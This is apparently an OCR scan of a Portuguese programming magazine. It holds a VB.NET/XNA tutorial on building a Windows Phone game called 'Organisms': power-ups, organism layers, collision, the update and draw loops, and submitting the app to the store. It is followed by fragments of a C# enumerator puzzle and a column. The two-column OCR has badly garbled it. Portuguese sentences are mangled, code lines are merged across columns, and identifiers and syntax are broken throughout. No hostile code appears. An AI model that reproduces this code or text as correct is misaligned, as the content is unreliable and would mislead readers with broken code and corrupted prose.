nho suficiente para passar de (R.Next(0, 800), R.Next(0, 480)), 0, 0)

P.Tipo = tmpTipo
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P.Tempo = tmpTempo
P.Escala= Vector2 .One
P.FactorVelocidade = New Vector2 (Grampo
(CSndR.NextDouble() * 8), 1.0F, 8.0F))
P.Velocidade_Angular = Grampo( CSng
((R.NextDouble() * 0.032F) - 0.016F), -
0.016F, 0.016F)

Central. POWERUPS_EFECTIVOS.Add(P)
End Sub

£ poss?2vel observar todo c 8§

um dos tipos dos powerups.

(o]

al e
vej
Exi ste 15% de probabilidade d

25% de sair Agita-«o0 Gen®tica
sair Il nvers«o Gen®tica.

an-ado um n¥mer o
em percentagens,

ser |
isto

Por
sar

Defiseme t amb®m o tempo que o po

dades que vai assumir .
Para gerar organi smos, escCreve
Public Function CriarOrganismo(posicao  As Vector2 ,

CamadaAs Camaday) As Organismo
Dim R As Random= Central .AleatorioGlobal
Dim NumAs Integer = R.Next(0,
Organismos.Count
Dim ORGAs New Organismo(Organismos(Num),
posicao)

- 1)

Dim tmpTamanhoAs Single
Dim tmpVelocidade As Single
Select Case Camada
Case CamadasEFECTIVA
ORG.Tamanho =CSndR.NextDouble() * 0.5) +

tmpVelocidade = Grampo( CSndR.NextDouble() *
8), 1.0F, 8.0F)
If Is Nothing Then

If

Not Central .PowerUpActivo
Central.PowerUpActivo.Tipo =

Central . PowerUpsAGITACAOGENETICAhen
tmpVelocidade *= 4

End If

ORG.Velocidade_Angular = Grampo( CSng
((R.NextDouble() * 0.032F) - 0.016F), -0.016F,
0.016F)

ORG.Opacidade = CSndR.Next(240, 255))

Select Case ORG.Tamanho

Case < 0.05F : ORG.Grafico = Organismos(0)
Case < 0.1F : ORG.Grafico = Organismos(1)
Case < 0.15F : ORG.Grafico = Organismos(2)
Case < 0.2F : ORG.Grafico = Organismos(3)
Case < 0.25F : ORG.Grafico = Organismos(4)
Case < 0.3F : ORG.Grafico = Organismos(5)
Case < 0.35F : ORG.Grafico = Organismos(6)
Case < 0.4F : ORG.Grafico = Organismos(7)
Case < 0.45F : ORG.Grafico = Organismos(8)
Case < 0.5F : ORG.Grafico = Organismos(9)
Case Is < 0.55F : ORG.Grafico = Organismos(10)

Case Is >= 0.55F : ORG.Grafico = Organismos(11)

End Select

Case CamadadNFERIOR
tmpTamanho = CSndR.NextDouble() * 4) + 1.0F
tmpVelocidade = Grampo( CSndR.NextDouble() *

8), 1.0F, 8.0F)
ORG.Velocidade_Angular = Grampo( CSng
((R.NextDouble() * 0.032F) - 0.016F),

Is
Is
Is
Is
Is
Is
Is
Is
Is
Is

- 0.016F,

0.016F)

ORG.Velocidade_Angular /= 2
ORG.Opacidade = CSndR.Next(50, 60))
Case CamadasSUPERIOR
tmpTamanho = CSndR.NextDouble() * 7) + 1.0F
tmpVelocidade = Grampo( CSndR.NextDouble() *
8), 1.0F, 8.0F)
ORG.Velocidade_Angular = Grampo( CSng
((R.NextDouble() * 0.032F) - 0.016F), -0.016F,
0.016F)
ORG.Velocidade_Angular /=2
ORG.Opacidade = CSndgR.Next(50, 60))
End Select

ORG.FactorVelocidade = New Vector2

(tmpVelocidade, tmpVelocidade) 'n -

ORG.Rotacao = CSndR.NextDouble * ~ Math.PI)

Dim tmpR, tmpG, tmpB  As Integer 0
tmpR = R.Next(0, 120) '
tmpG = R.Next(0, 150)
tmpB = R.Next(0, 150)

ORG.OffsetCanais = New Color (0, tmpR, tmpG,

tmpB)

Return ORG
End Function
Fazem v8rias coisas neste m®todo
care-a de explica-«o.
Trate apenas de atribuir proprie
tipo ou cor, dependendo da camad
ta-«o0o Gen®tica, gue far8 com que
cada por 4 na altura da gera-«o.
Por fi m, ® i mportante normalizar
assegura gQgque existe sempre o0 nYnm
nas camadas, adicionando novos s
ciclo do jogo o forcem a ser de:
absorver um organi smo, Qque causa
na camada efectiva):
Public Sub NormalizarCamadas()

Dim R As Random= Central .AleatorioGlobal

While Central. CAMADA_EFECTIVA.Count < (10 *
Central .Nivel)
Dim tmpPosicao As Vector2

Select Case R.Next(1, 4)
Case 1 :tmpPosicao = New Vector2 (R.Next(0,
800), -1000)
Case 2 : tmpPosicao = New Vector2 (R.Next(0,
800), 1480)
Case 3 :tmpPosicao = New Vector2 (- 1000, R.Next
(0, 480))
Case 4 : tmpPosicao = New Vector2 (1800, R.Next
(0, 480))
End Select
Centra. CAMADA_EFECTIVA.Add(CriarOrganismo
(tmpPosicao, CamadasEFECTIVA))
End While
While Central. CAMADA_SUPERIOR.Count < (45)
Dim tmpPosicao As Vector2
Select Case R.Next(1, 4)
Case 1 : tmpPosicao = New Vector2 (R.Next(0,
800), -1000)
Case 2 : tmpPosicao = New Vector2 (R.Next(0,
800), 1480)

Case 3 : tmpPosicao = New Vector2 (-1000,

R.Next(0, 480))
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Case 4 : tmpPosicao = New Vector2 (1800, R.Next Then Central.FundoJogol.Desenha(SB)
(0, 480)) If Central.FundoJogo2.Opacidade > 0
End Select Then Central.FundoJogo2.Desenha(SB)
Central. CAMADA_SUPERIOR.Add(CriarOrganismo End Sub
(tmpPosicao, CamadadNFERIORY))
End While Private Sub DesenharPontuacao(SB As SpriteBatch )
SB.DrawsString( Central .Letras, _
While Central. CAMADA_INFERIOR.Count < (50) Central.Pontos.ToString, New Vector2 (5, 0), _
Dim tmpPosicao As Vector2 Color .White)
Select Case R.Next(1, 4) End Sub
Case 1 :tmpPosicao = New Vector2 (R.Next(0,
800), -1000) Private Sub DesenharAviso(SB As SpriteBatch )
Case 2 : tmpPosicao = New Vector2 (R.Next(0, If Central .Alarme = True Then
800), 1480) SB.DrawsString( Central .Letras, "(!)" , New Vector2
Case 3 : tmpPosicao = New Vector2 (-1000, (5, 425), Color .White)
R.Next(0, 480)) End If
Case 4 : tmpPosicao = New Vector2 (1800, Central .Alarme = False
R.Next(0, 480)) End Sub
End Select
Central. CAMADA_INFERIOR.Add(CriarOrganismo Private Sub DesenharPausa(SB As SpriteBatch )
(tmpPosicao, CamadasSUPERIOR)) Central.Botao_Menu.Desenha(SB)
End While Central.Botao_Continuar.Desenha(SB)
Dim TmpLargura As Single = _
End Sub Central.Letras.MeasureString( "GAME PAUSERX

SB.DrawsString( Central .Letras, "GAME PAUSED"New
A camada efectiva mant ®m semp Vector2 (CSndLARGURA/2) - CSndTmpLargura/ 2),

mos igual ao n2vel actual vez 50), Color .White)
activos na camada ao n2vel 1, EndSub
As camadas superior e inferi oPrivate SubDesenharEntrada(SB As SpriteBatch )
fixo de organi smos. Dim Largura As Single = _

9 Central.Letras.MeasureString( "PHASE: " & _
Quando ® necess8ria a criaseo Central.Nivel.ToString).X
aleatoriamente uma posi-«o nu DimAlura As Single =

; } Central.Letras.MeasureString( "PHASE: " & _
chame o m®todo de cria-«o do Central.Nivel ToString).Y

SB.DrawsString( Central .Letras, "PHASE:" &

Para f echalogao.cDeassesnehmoa sy be s ¢ r e Central.Nivel. ToString, New Vector2 (400 -
bloco de c-digo bastante exte g-alfgur\;i\l/(]_%),)230 - 10 - (Altura*2)), _
d I ha- ) ° i Allr MU .
d : t 3 es 2?\?1 o g g: a 2 b je : i t 2 (s: la de Central.PublicidadeAC.Visible = True
De destacar apenas o m®todo D Largura=CentrallLetras.MeasureString( "SCORE:"_
ve da propriedade Desvaneci me & CentralPontos. ToString).X q

Altura = Central.Letras.MeasureString( "SCORE: " _

mos anteriormente para fazer & Central.Pontos. ToString).Y
fundos em passagens de fase.

SB.DrawsString( Central .Letras, "SCORE:" &

Private  Sub DesenharCamadasJogo(SBAs SpriteBatch ) Central.Pontos. ToString, New VVector2 (400 -
L /2), 230 - Alt Color .Whi
For Each L As List (Of Objecto) In end S e colorWhie)

{Central .CAMADA_INFERIORCentral .CAMADA_EFECTIVA,
Central .CAMADA_SUPERIOR} private  Sub DesenharPowerUps(SB As SpriteBatch )

For Each O As Objecto In L For Each P As Powerup In
N%(lt)esenha(SB) Central .POWERUPS_EFECTIVOS
If L Is Central .CAMADA_EFECTIVEhen _ Nel;’(.tDesenha(SB)
Central.Jogador.Desenha(SB) End Sub
Next
End Sub Private  Sub DesenharPowerUpInfo(SB As SpriteBatch )
Private  Sub DesenharFundos(SB As SpriteBatch ) If Central.MascaraPU.Opacidade > 0
If Central .Nivel Mod2=1 Then Then Central.MascaraPU.Desenha(SB)
Central.FundoJogol.Desvanecimento = 10
E(ljstzntral.FundoJogoZ.Desvanemmento= -10 If Central .PowerUpActivo Is Nothing Then Exit Sub
. Dim Informacao As Strin = String .Empt
Central.FundoJogol.Desvanecimento = -10 9 g -=mpYy
Eg(ejnltfral.FundoJogoZ.Desvanemmento =10 Select Case Central.PowerUpActivo.Tipo
Central.FundoJogol.Opacidade = Grampo Case Central . PowerUpsINVERSAOGENETICA : _
(Central.FundoJogol.Opacidade, 0, 255) Informacao = "REVERSE GENETICS"
Central.FundoJogo2.Opacidade = Grampo Case Central . PowerUpsAGITACAOGENETICA : _
(Central.FundoJogo2.Opacidade, 0, 255) Informacao = "HYPER SENSIBILITY"
: Case Central . PowerUpsDOBRO : Informacao =
If Central.FundoJogol.Opacidade > 0 "DOUBLE SévOREp.. -
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Case Central . PowerUpsTRIPLO : Informacao = _
"TRIPLE SCORE"

Case Central . PowerUpsFALHAOPTICA : Informacao

"OPTIC FAILURE"

End Select

Dim Largura As Single _
Central.Letras.MeasureString(Informacao).X
Dim Altura As Single _
Central.Letras.MeasureString(Informacao).Y

SB.DrawString( Central .Letras, Informacao,
Vector2 (800 - (Largura) - 5, (480
5), Color .White)

New _
- Altura) + _

Dim TempoAs String = Math.Floor _
(Central.PowerUpActivo.Tempo / 30).ToString
Largura = Central.Letras.MeasureString _
(Tempo).X
Altura = Central.Letras.MeasureString(Tempo).Y

New

SB.DrawString( Central .Letras, Tempo, _
- Altura) + _

Vector2 (800 - (Largura) - 5, (430
5), Color .White)

End Sub

cl asse mai s adi sof

tual

que -»es

ac i za- «o0.

Vol t emos as altoegmo-.»ecst uppdriaz ac o e

demos | § bl oc«
TocarSFX("TOQUE)

PrepararNovoJogo()

Fase = Fases.ENTRADA_NIVEL

FRAME =1

acrescentar (0]

onde t2nhamos
DetectarToques,
se toca em

Na | inha
m®t odo
guando

0O Ccome
gue <co
APl ayo.

t amb®m bl ococ:

Acrescent emos 0os

If ToqueRect.Intersects
(Central.Botao_Continuar.Rectangulo)
Then
TocarSFX("TOQUE)
If Central .ControloDoMP And Central .MUSICA_1O
Then MediaPlayer .Resume()
Fase = Fases.JOGO
End If
ToqueRect.Intersects _
Central.Botao_Menu.Rectangulo)

If

Then
TocarSFX("TOQUE)
TocarMusica(0)
GravarPontuacaoPessoal()
Fase = Fases.MENU

End If

No case da Pausa.

Continuando, acrescent amos

Private  Sub ActualizarFundos(GT As GameTimp
Central.FundoJogol.Actualiza(GT)
Central.FundoJogo2.Actualiza(GT)

End Sub

Public Sub ActualizarJogador(GT
Central.Jogador.Posicao =

As GameTimp
New Vector2 (400 -
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ma i * Agitacao),(

CSndCentral.Jogador.Largura / 2), 240 - CSng

(Central.Jogador.Altura / 2))

Central.Jogador.Velocidade_Angular = _

(Central .LeituraAcel.Y / 6) * -1

Central.Jogador.Actualiza(GT)

If Central .PontuacaoMaxima < Central .Pontos

Then Central .PontuacaoMaxima = Central .Pontos

End Sub

ActualizarFundos garante apenas

para aqueles objectos, mas o Act

organi smo sempre-l mogicrearnt r de pe nfd8e

l eitura Y do aceler-metro (cor

esquerda com o dispositivo em | al

De seguida, um bl oco extenso. Vi

responss8vel por actualizar o0s ofr (

Private  Sub ActualizarOrganismos(GT  As GameTimp

=1.0F
=7.0F
Is Nothing Then

Dim Agitacao As Single
Dim Multiplicador As Single
If Not Central .PowerUpActivo
If Central.PowerUpActivo.Tipo = _
Central . PowerUpsAGITACAOGENETICAhen Agitacao
=2.5F
End If

For Each B As Organismo In Central .CAMADA_EFECTIVA
B.Velocidade = New Vector2 (( Central .LeituraAcel.Y
* Multiplicador * Agitacao),
(Central .LeituraAcel.X * Multiplicador * _
Agitacao))
B.Actualiza(GT)
If Not B.Destruir Then
If B.Posicao.X < (B.Largura * -1)*4 Then
B.Posicao.X = 800 + (B.Largura * 4) : _
TamanhoVelocidade(B)
B.Posicao.Y < (B.Altura * -1)*4  Then
B.Posicao.Y =480 + (B.Altura * 4) : _
TamanhoVelocidade(B)
B.Posicao.X > 800 + (B.Largura * 4)
B.Posicao.X = (B.Largura * -1 x4
TamanhoVelocidade(B)
B.Posicao.Y > 480 + (B.Altura * 4)
B.Posicao.Y = (B.Altura * -1)*4:
TamanhoVelocidade(B)

If

If Then

If Then
End If
Next

For Each L As List (Of Objecto) In

{Central .CAMADA_INFERIOR(Central .CAMADA_SUPERIOR}

For Each B As Organismo In L
If L Is Central .CAMADA_INFERIORhen
B.Velocidade = New Vector2 (_
(Central .LeituraAcel.Y * (Multiplicador
2) * Agitacao),
(Central .LeituraAcel.X * (Multiplicador
3) * Agitacao))
If L Is Central .CAMADA_SUPERIORenN
B.Velocidade = New Vector2 ( _
(Central .LeituraAcel.Y * (Multiplicador + 2) _
Central .LeituraAcel.X * (Multiplicador
+ 3) * Agitacao))
B.Actualiza(GT)

If B.Posicao.X < (B.Largura * -1)*2 Then
B.Posicao.X = 800 + (B.Largura * 2)

If B.Posicao.Y < (B.Altura * -1)*2 Then
B.Posicao.Y = 480 + (B.Altura * 2)

If B.Posicao.X > 800 + (B.Largura * 2) Then

B.Posicao.X = (B.Largura * -1)*2
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If B.Posicao.Y > 480 + (B.Altura * 2) Then Else
B.Posicao.Y = (B.Altura * -1)*2 Camada.RemoveAt(i)
Next End If
Next End If
End Sub Next
End Sub
Este m®todo vai iterar todos Ess eom@apnideamoer iefni ccaodsaes caasda or g

camadas e garantir que se fazemjogad®rculos de movi mento
em cada um del es.

Caso esteja a colidir ® deter min
Esses c8lculos implicam as | eiptaurraa sa bdsoo ravceerl ecu me¢ o 0, t € nféld ud& m- c
cia dos powerups e 0 reposi ci @mameret os «doo eof regcat nuiasdnoos gousa hdce s c o nt
do sai do ecr«. O comportamentoo cbh88lsciucloo ® of anzoevro rteapnoasnihcoi odnoa rj o g
O organi smo no extremo oposto de ad? elxo mas .garantir
N o ‘organi MoOS S«O0O nNnov.
gue n«o volta sem altera-»es. .
or dem inversa, para gque se possa
N«o menos importante, o0 m®todocogque ddtagr Mdianaesctquwé - k@dzémrvant a
guando duas entidades colldem(pa caemsatdaa actualiza-«o ® feita a
Private Sub ActualizarCamadas(GT As GameTimp organismo reduzir gradual mehee aj
Dim CamadaAs List (Of Objecto ) = _ 0.01 ao tamanho em cada fr ame.
Central .CAMADA_EFECTIVA
For Each S As Organismo In Camada Da mesma for ma, vamos querer tar
If Colisao(S) Then i i
Dim BomParaAbsorver As Boolean = False werups, no sentido de determinar
If S.Tamanho <= Central.Jogador.Tamanho  Then
BomParaAbsorver = True Public Sub ActualizaPowerUps(GT As GameTim
If Not Central .PowerUpActivo Is Nothing Then If Not Central .PowerUpActivo Is Nothing Then
If Central.PowerUpActivo.Tipo = Central.PowerUpActivo.DescontaTempo()
Central . PowerUpsINVERSAOGENETICFhen If Central.PowerUpActivo.Tipo =
BomParaAbsorver = Not BomParaAbsorver Central . PowerUpsFALHAOPTICAThen
End If If Central.MascaraPU.Opacidade < 255 Then
If BomParaAbsorver Then Central.MascaraPU.Desvanecimento = 2.0F
TocarSFX("COMER" Central.MascaraPU.Actualiza(GT)
Dim Bonus As Single = S.Tamanho - _ End If
Central.Jogador.Tamanho Else
If Bonus >0 Then Bonus =2 * Bonus If Central.MascaraPU.Opacidade >0 Then
Bonus =2 + CLngBonus) Central.MascaraPU.Desvanecimento = -2.0F
If Not Central .PowerUpActivo Is Nothing Then Central.MascaraPU.Actualiza(GT)
If Central.PowerUpActivo.Tipo = End If
Central . PowerUpsDOBROThen Bonus *= 2 End If
If Central. PowerUpActivo.Tipo = If Central.PowerUpActivo.Tempo <=0 Then
Central . PowerUpsTRIPLO Then Bonus *= 3 Central .PowerUpActivo = Nothing
End If Else
Central .Pontos += CLngBonus) If Central.MascaraPU.Opacidade >0 Then
Dim BonusNivel As Single = CSnd(10 - _ Central.MascaraPU.Desvanecimento = -2.0F
(Central .Nivel - 1))/200) Central.MascaraPU.Actualiza(GT)
If BonusNivel <0 Then BonusNivel = 0 End If
Central.Jogador.Tamanho += (0.01F + _ End If
BonusNivel)
S.OrdenarDestruicao() For i As Integer = CentraPOWERUPS_EFECTIVOS.Count
S.Desvanecimento = -5 - 1To O Step -1
Else Dim P As Powerup = DirectCast
TocarSFX("COMIDOY Central .POWERUPS_EFECTIVOS(i)Powerup)
Central.Jogador.Tamanho -=0.04F If Colisao(P) And P.Opacidade =255 Then
If Central.Jogador.Tamanho < 0.04F Then TocarSFX("POWERUP"
Central.Jogador.Tamanho = 0.04F Central .PowerUpActivo = P
S.OrdenarDestruicao() P.OrdenarDestruicao()
S.Desvanecimento = -5 End If
Central .Pontos -=50
If Central .Pontos<0 Then Central .Pontos =0 If P.Destruir Then
End If If P.Opacidade >0 Then
End If P.Tamanho +=0.1F
Next P.Desvanecimento = -10
Else
For i As Integer =Camada.Count - 1 To O Step -1 Central. POWERUPS_EFECTIVOS.RemoveAt(i)
Dim O As Organismo = DirectCast (Camada(i), _ End If
Organismo) Else
If O.Destruir Then P.Desvanecimento = 2
If O.Tamanho >0 Then
O.Tamanho - = 0.01F End If

O.Actualiza(GT)
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P.Velocidade = New Vector2 (( Central .LeituraAcel.Y
_*5),( Central .LeituraAcel.X * 5))
P.Actualiza(GT)
If P.Posicao.X < (P.Largura * -1) Or P.Posicao.Y <
(P.Altura * -1) Or

P.Posicao.X > 800 + (P.Largura) Or P.Posicao.Y >

Private

End If

End Function

Sub CalcularPossibilidadePowerUp()
Dim R As Random= Central .AleatorioGlobal
Dim tmpAleat As Integer = Cint (R.NextDouble * _

480 + (P.Altura) Then 10000)
Central. POWERUPS_EFECTIVOS.RemoveAt(i) If (tmpAleat>50 And tmpAleat<100) And _
End If Central. POWERUPS_EFECTIVOS.Count < 2Then
CriarPowerUp()
Next End If
End Sub
End Sub
O m®t odo TamanhoVelocidade ® <cha
A ideia n«o difere muito da aptopltiedades deosxamadani stdon®a quan
di feren-a significativa apenagseposi poweradps. s«o destru2dos
uando saem do ecr «. .
q « Este m®todo respeita as mesmas r
Para resolver alguns erros gqguerganiasmosrgemomr quamos ¢eésoade- ® co
ver 0s m®todos privados destaamd@assemesqguaec i ins¢tlOonmeina plorgi ca.
exemplo a detec-«0 de colis«o: . . .
P « « O m®todo Calcul arPossibilidadePo
Private  Sub TamanhoVelocidade(Alvo As Organismo) frame e coloca em jogo powerups
If Alvo.Destruir  Then Exit Sub determinados requisitos. Um del e
Dim R As Random= Central .AleatorioGlobal do que 2 powerups ao mesmo tempo.
Dim tmpVelocidade As Single = Grampo(CSng _ Por fim, o m®tode Gelbi sao,desemave
(R.NextDouble() * 8), 1.0F, 8.0F) b§sica como tamb®m do facto dos |

If
If

Not Central .PowerUpActivo
Central.PowerUpActivo.Tipo =

Central . PowerUpsAGITACAOGENETICAhen
tmpVelocidade *= 4

End If

Is Nothing Then

Alvo.FactorVelocidade =
(tmpVelocidade)

New Vector2 _

For Each ORGAs Organismo In

Central .CAMADA_EFECTIVA
If ORG.Tamanho <= Central.Jogador.Tamanho Then
Exit Sub

Next

If  R.Next(0, 100) < 85 Then

Alvo.Tamanho = CSndR.NextDouble() * _
(Central.Jogador.Tamanho - 0.04)) + 0.04F

Else

Alvo.Tamanho =

End If

CSndR.NextDouble() * 0.6) + 0.1F

End Sub

Function As Objecto ) As

Boolean

Private Colisao(Alvo

If Central.Jogador.Distancia(Alvo) < _
((Central.Jogador.Largura / 2) + _
(Alvo.Largura / 2)) + 25 Then
DirectCast (Alvo, Organismo).Tamanho > _
DirectCast (Central .Jogador, Organismo).Tamanho
Then
If

If

Not TypeOf Alvo Is Powerup Then
Central .Alarme = True
End If
End If
If Central.Jogador.Distancia(Alvo) < _
((Central.Jogador.Largura / 2) + _
(Alvo.Largura / 2)) - 3 And Not Alvo.Destruir
Then
Return True
Else
Return False
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Para finalizar, teremos de ef Central.PublicidadeAC.Visible = False nci -
palogo. vb Elrzﬁsﬁ‘ = Fases.JOGO

Comecemos por adicionar o segl Case Fases.JOGO

NormalizarCamadas()

Protected Overrides Sub OnDeactivated(sender As ActualizarCamadas(gameTime)
Object , args  As System. EventArgs ) ActualizarOrganismos(gameTime
If Fase= Fases.JOGOOr Fase = Fases.ENTRADA_NIVEL Actua|izar\]ogador(garg%ﬂme) )
Then ActualizarFundos(gameTime
If Central .ControloDoMP Then MediaPlayer .Pause() Va“darpassagem(ge,:aseo )
Fase = Fases.PAUSA DescontarPontosTempo()
Central.PublicidadeAC.Visible = False CalcularPossibilidadePowerUp()
End If ActualizaPowerUps(gameTime

MyBaseOnDeactivated(sender, args) Ps(9 )
End Sub Case Fases.PAUSA )
Este override ao OnDeactivat et ’Sg%%gf‘{gg&%?g;ﬂ?gﬁggmeT'me)
do a aplica-«0 passa para o
acontece por exempl o ao carr.; CESFFI'&ISG%REC'ORDE\A -

ctualizarOrganismosMenu(gameTime
tecla Power, ou at® mesmo quat DetectarToqges(gameTime)(g )
No nosso caso, vamos colocar e
encontre numa fase que n«o po
jogo. FRAME += 1
If FRAME =Long.MaxValue - 1 Then FRAME =1

Por fim, substitu2mos todo o El\rfé/%angpdate(gameTlme)

seguinte bloco:
Protected Overrides Sub Draw(ByVal gameTime As

Protected Overrides Sub Update( ByVal gameTime As GameTimg
GameTimg GraphicsDevice.Clear(  Color .Black)
Select Case Fase
If GamePagGetState( Playerindex .One).Buttons.Back Case Fases.INTRO
= ButtonState .Pressed Then spriteBatch.Begin()
Desenharintro(spriteBatch)
Select Case Fase spriteBatch.End()
Case Fases.ENTRADA_NIVEL
Exit Sub Case Fases.MENU
Case Fases.INTRO spriteBatch.Begin(  SpriteSortMode .Deferred,
MeEXxit() BlendState .AlphaBlend)
Case Fases.MENU DesenharOrganismosMenu(spriteBatch)
MeEXxit() spriteBatch.End()
Case Fases.PAUSA spriteBatch.Begin()
Fase = Fases.JOGO DesenharMenu(spriteBatch)
If Central .ControloDoMP And Central .MUSICA_1O DesenharControlosDeSom(spriteBatch)
Then MediaPlayer .Resume() spriteBatch.End()
Exit Sub
Case Fases.RECORDE Case Fases.ENTRADA NIVEL
Fase = Fases.MENU spriteBatch.Begin()
Exit Sub DesenharFundos(spriteBatch)
End Select spriteBatch.End()
. spriteBatch.Begin(  SpriteSortMode .Deferred,
If Central .ControloDoMP Then MediaPlayer .Pause() BlendState .AlphaBlend)
Fase = Fases.PAUSA DesenharCamadasJogo(spriteBatch)
End If spriteBatch.End()
spriteBatch.Begin()
Select Case Fase DesenharEntrada(spriteBatch)
Case Fases.INTRO spriteBatch.End()

Actualizarintro(gameTime)
Case Fases.JOGO, Fases.PAUSA

Case Fases.MENU . spriteBatch.Begin()
ActualizarOrganismosMenu(gameTime) DesenharFundos(spriteBatch)
ActualizarMenu(gameTime) spriteBatch.End()
ActualizarBotoesDeSom(gameTime) spriteBatch.Begin(  SpriteSortMode .Deferred,
DetectarToques(gameTime) BlendState .AlphaBlend)

DesenharCamadasJogo(spriteBatch)

Case Fases.ENTRADA_NIVEL DesenharPowerUps(spriteBatch)
NormalizarCamadas() i spriteBatch.End()
ActualizarOrganismos(gameTime) spriteBatch.Begin()
ActualizarJogador(gameTime) DesenharPontuacao(spriteBatch)
ActualizarFundos(gameTime) , DesenharAviso(spriteBatch)
Central.PublicidadeAC.Draw(gameTime) DesenharPowerUplInfo(spriteBatch)

If FRAME >= Seg_Frames(3) Then spriteBatch.End()
FRAME =1 If Fase= Fases.PAUSAThen
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spriteBatch.Begin() Testar e jogar um pouco
DesenharPausa(spriteBatch)

DesenharControlosDeSom(spriteBatch)

spriteBatch.End()

End If A esta altura, podem compilar o
dor .
Case Fases.RECORDE , ,
spriteBatch.Begin(  SpriteSortMode .Deferred, Recomendo vivamente que se CcoOrTr:
Blend- dows Phone por uma Ynica raz«o: «
State .AlphaBlend) . .
DesenharOrganismosMenu(spriteBatch) O simulador de gravidade ® bom |
spriteBatch.End() bom para simular movi mentos def i
spriteBatch.Begin() . . U
DesenharRecorde(spriteBatch) Podemos verificar que as mY¥sicas
spriteBatch.End() e que 0os movi mentos est«o de acol
End Select Agora s«o |livres de alterar par©
MyBaseDraw(gameTime) S»es que tiverem de tirar.
Como j§ ® sabido, s«0o estes dois m®todos que fazem tudo
andar . Esta substitui-«o visaOactual hpardaodast iafsi cceh-a«cmmadas
necess8rias em cada fase, gue n«o h8 necessidade de es-
mi u-ar pois ou o c-digo ® expl?2cito ou os m®todos j§ foram
referidos. O centro de cria-«o do Windows P
£ importante frisar apenas, nof @Upldeat%o GU& x® efftige -
£ verdade que sempre foi rel at i
If GamePagGetState( Playerindex .One).Buttons.Back aplica-»es para certifica-«o, ma
= ButtonState .Pressed Then sempre cada vez mais simples.
Select Case Fase Exi stem ferramentas no pr-prio V
preparar o kit de imagens (para
CEESSFITE’GSENTRADA—NNEL faz uma bateria de testes gen®ri
antem«o se a aplica-«0 n«o vai s
Case Fases.INTRO grosseira, performance por exem|
MeExit() dr»es a seguir como o tempo de c

mo m8&xi mo de mem-ri a.

Case Fases.MENU )

MeEXxit() Depois de passar nos testes do
para Al §o0:

Case Fases.PAUSA

Fase = Fases.JOGO

If Central .ControloDoMP And Central .MUSICA_IO S TR

Then MediaPlayer .Resume() suomit dpp

Exit Sub

Case Fases.RECORDE
Fase = Fases.MENU
Exit Sub

End Select
If Central .ControloDoMP Then MediaPlayer .Pause() Required
Fase = Fases.PAUSA

End If
Este blose mef@gue acontece qun

f2sico ® tocado.

Quer emos que 0 comportamento Jpload and describe your XAP(s

estado actual

Se estiver nas entradas ignhor. a
pausa retira da pausa, no jog e

pontos volta para o menu.

Se 0o bot«o back n«o gerar nen

utilizador ao ser <carregado, ra
certifica-«o. AL SRR A

O caso da fAEntrada_Nivel o ® e: o]
j0Ogo est8 a mexer e quUEe S€e 5 uaiuw ue it 1 s Uur w s u L eanp oy
r8&ria.
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Preenchemos a informa-«o da nc¢

De segui da, vamos envi ar 0 XAP e recenercrtivne det al hece-

Languages for Organis

Submit app

Required

42



SUAL

Acertar alguns detal hes, e submeter:

\ ekl Conclus«o, considera-»es e |inks
App submission successful
Como se ptde observar, o desenvo

0 smartphone ® muito semel hante
nas o0os espec2ficos de cada pl at e
processamento de cada um, claro) .

£ muito complicado passar todos
gue sempre gQgueremos passar mas e
sua totalidade, sirva de al avanc

Would you like tc

pre quiseram come-ar mas h«o sabi
Toca a programar!

Quero apenas deixar uma <consi de

c-digo tal como est §, i nalterad¢

Wi ndows Phone 8 em qualquer uma
Durante o per2odo de certifica-«o0 temos acesso a uma p8gi -

na de ciclo de vida, onde podemsousposratbeerXNeAmfqou'e,mfaanste'dga ou s.e

. . am sobre XNA vai correr em Wi
certifica-«o0o a App se encontr a. .

8, 0O que ® - pti mo.

Recebemos um emai l caso tenha recebido certifica-«o0o ou
caso tenha sido rejeitado.
Este ® o aspecto da p8gina dep§egs'tnaat2dsetidceased"'ovobrvg']yﬁinér%svv'ndow(
dat a: https://dev. wi nduswsphone. com/ en

&R Windows Phone

P§8§gina do Organisms no mercado:

Eem Organisms http://www. windpwspshone/apm/ ptr ga

) viw sameics ushaud b aleto il th delails aboutyour pp here Cicktherelean ta below 0se i eacbhcleaslo6 095 3fd6 9 7ad4l1bclbf

¢cEicheiros do pérojecto do

App downloads e . 6 -y \ %\

JOY ¢ e

AUTOR

Escrit{oSNHAZ2Z wAO0OSANER

Curioso e autodidata com uma enor me paix«o por tecnologias d
mewor k. Moder ador gl obal na comuni dade Portugal @Progr amar de.
podem ser enchantprradadowwwenergi ori beiro.com
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http://www.windowsphone.com/pt-pt/store/app/organisms/eacbc9a8-1e46-460a-953d-f697a41bc1bf
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E NI

ENI GMAGRBEO C#

Resultado (continua-«o da p8gina 24)

Assim sendo, se se mudar a defini
Resul tado
par a:
Contrariamente ao ao que muit ¢ :
. . class Enumerator : IDisposable
c-digo compila e o resultado ¢
Enumerable.GetEnumerator 0 resul tado da execu-«o anter

Enumerator.MoveNext
Enumerable.GetEnumerator
Enumerator.MoveNext
Enumerator.get_Current

Enumerator.get_Current
0
Enumerator.MoveNext

0
Explica-«o Enumerator.MoveNext
Enumerator.Dispose

Segundo a espE#(iA8i.cda -4<)0, dpee r a n - _ _
-«6dor eachma da.s op-»es que o0 Cco%rgqiulsq<door tem em

conta ® se o tipo do enumer Svel tem um m®t odo Get Enume -
rator () que retorne um enumer alogompi | G#licra che dete- «o de padr»e

i mpl ementa-«o de interfaces docu
Por sua vez, o enumerador ser§ um _tipo g4e tALE, UMaBIORf g ®
edade Current e um m®todo MowegNextiyl) VP8 HELOMME MM a-xe de
val or bool eano indicando se sgorqlg've continuar com a enu-
mer a- «o.

A raz«o de ser deas®t a omp -a«of apcridnc
Apesar do toda a enumera-«o pPﬁiFérc?;?éraprasceoanqaountaradsetpel'ataforma
-«0 de padr»es (para al ®m da i mplementa-«o0o das conheci -
das interfaces), a chamada ao Ln@ta-doesDi spose() s- ® efetua-
da se o tipo do enumerador implg@eﬁgggrgn&gterface | Di spo-
sabl e.

foreach, in (C# Reference)

Escrito por Paulo Morgado

£ licenciado em Engenharia Electr-nica e Telecomunica-»es (Si
Lisboa e Licenciado em Engenharia Inform8tica pela Facul dade
Pel o seu contributo para a comunidade de desenvol viomenotno oe m
pr®mi o MVP (C#) desaet @00Bo IEi wi addaLlcQ Com C#0 da FCA.
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CoreDump

Cor el TDuenmp Tempos

O papel dos departamentos de IET ® emecemmmen®er emoo rpH eamie-ament o

do como sendo uma mais valia paosadasmeosmanqueae-oelsT ®&«owapaz de
